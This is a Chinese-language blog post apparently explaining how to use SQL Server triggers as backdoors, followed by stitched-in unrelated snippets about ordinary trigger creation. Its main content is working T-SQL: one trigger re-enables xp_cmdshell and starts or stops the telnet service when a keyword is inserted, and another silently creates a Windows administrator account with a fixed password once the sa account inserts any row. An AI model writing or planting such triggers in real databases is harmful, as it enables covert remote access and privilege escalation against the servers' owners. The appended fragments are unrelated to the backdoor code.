觸發器建立後門

2021-04-07 00:33:18 字數 1431 閱讀 1949

觸發器建立後門

1.建立乙個表

create table backdoor

(lastname varchar(10),firstname varchar(10))

2建立乙個後觸發器,當輸入字串在字段中等於open的時候開啟telnet,為close時候關閉telnet.

create trigger  tr_hacker2 on backdoor

after insert

asbegin

declare @p varchar(50)

select @p=(select lastname from inserted)

execute sp_addextendedproc 'master.dbo.xp_cmdshell','xplog70.dll'--'xpsql70.dll'

if(@p like '%open%')

execute master.dbo.xp_cmdshell 'net start telnet'

else if(@p like '%close%')

execute master.dbo.xp_cmdshell 'net stop telnet'

end3插入字元.這裡沒有啟動的原因是因為我匹配的字串時lastname等於open,別的字元都不行的

insert into backdoor(lastname,firstname) values('111','open')

4插入字元

insert into backdoor(lastname,firstname) values('open','111')

觸發器提公升許可權

普通使用者提公升系統許可權

1.建立乙個表

create table backdoor

(lastname varchar(10),firstname varchar(10))

2.建立乙個觸發器,當有任何字元輸入到這個表當中在系統中建立超級使用者

create  trigger  tr_hacker1 on backdoor

after insert

asbegin

execute sp_addextendedproc 'master.dbo.xp_cmdshell','xplog70.dll'--'xpsql70.dll'

execute master.dbo.xp_cmdshell 'net user sokey 123456 /add'

execute master.dbo.xp_cmdshell 'net localgroup administrators sokey /add'

end現在只等sa來登入並且輸入任何字元,一般資料庫為了保證安全有兩個使用者來管理

3插入字元(sa)

insert into backdoor(lastname,firstname) values('open','111')

建立觸發器

視覺化資料庫工具 對於 microsoft sql server 資料庫,可以在 transact sql 中編寫觸發器,而對於 oracle 資料庫,則可以在 pl sql 中進行編寫。通過指定下列內容建立觸發器 建立觸發器 在 伺服器資源管理器 中,展開 表 資料夾。右擊要在其上建立觸發器的表名...

建立觸發器

create trigger trigger insert test1 on test2 after insert asbegin set nocount on added to prevent extra result sets from interfering with select state...

建立觸發器

create or replace trigger tg student after insert or update or delete on student foreach row declare 定義變數 begin 記錄日誌的程式 操作型別 case when inserting then ...